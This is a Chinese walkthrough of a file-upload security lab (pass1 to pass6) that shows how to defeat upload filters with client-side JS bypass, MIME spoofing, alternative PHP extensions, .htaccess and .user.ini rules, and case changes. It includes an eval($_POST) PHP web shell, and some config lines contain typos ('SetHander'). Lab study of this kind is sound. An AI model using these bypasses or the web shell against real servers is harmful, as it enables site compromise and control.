pass1
查看源码发现是前端Js校验,直接禁用js
重新上传文件
新建标签页打开打开图像
另外一种通过蚁剑
成功添加
即可得到网站文件,可以随意改动
pass2
查询源代码发现是PHP语言,后端判断文件类型
需要使用burp抓包,改动后上传
将其改动为image/jpeg,即可上传成功
pass3
查看源码发现asp,aspx,php,jsp被列入黑名单无法上传成功
可以用另外的文件名绕过比如php3,phpt,php4等等
抓包
进行改名为后缀为php3
上传成功
pass4
查看源码发现黑名单保护了全部另类名
可以通过上传.htaccess文件,重写解析规则
.htaccess
1.AddType application/x-httpd-php.jpg
2.SetHander application/x-httpd-php(二选一)
上传.jpg文件
pass5
与第四关相似,但发现还禁用了.htaccess,但未禁用.ini
php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
但是想要引发 .user.ini 解析漏洞需要三个前提条件
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
什么是 CGI
CGI 的全称为“通用网关接口”(Common Gateway Interface),为 HTTP 服务器与其他机器上的程序服务通信交流的一种工具, CGI 程序须运行在网络服务器上。
传统 CGI 接口方式的主要缺点是性能较差,因为每次 HTTP 服务器遇到动态程序时都需要重新启动解析器来执行解析,之后结果才会被返回给 HTTP
服务器。这在处理高并发访问时几乎是不可用的,因此就诞生了 FastCGI。另外,传统的 CGI 接口方式安全性也很差,故而现在已经很少被使用了。
什么是 FastCGI
FastCGI 是一个可伸缩地、高速地在 HTTP 服务器和动态服务脚本语言间通信的接口(在 Linux 下, FastCGI 接口即为 socket,这个socket 可以是文件 socket,也可以是IP socket),主要优点是把动态语言和 HTTP
服务器分离开来。多数流行的 HTTP 服务器都支持 FastCGI,包括 Apache 、 Nginx 和 Lighttpd 等。
同时,FastCGI也被许多脚本语言所支持,例如当前比较流行的脚本语言PHP。FastCGI 接口采用的是C/S架构,它可以将 HTTP 服务器和脚本服务器分开,同时还能在脚本解析服务器上启动一个或多个脚本来解析守护进程。当 HTTP
服务器遇到动态程序时,可以将其直接交付给 FastCGI 进程来执行,然后将得到结果返回给浏览器。这种方式可以让 HTTP
服务器专一地处理静态请求,或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高整个应用系统的性能。
创建.ini文件
输入auto_prepend_file=30.jpg
意思是:所有的php文件都自动包含30.jpg文件。.ini相当于一个用户自定义的php.ini
30.jpg中编辑为
<?php
eval($_POST['30'])
?>
即可上传成功
pass6
查看源码发现禁用了.ini
但发现少了转换为小写的码,因此可以使用大小写进行绕过
抓包
对其进行修改为Php
上传成功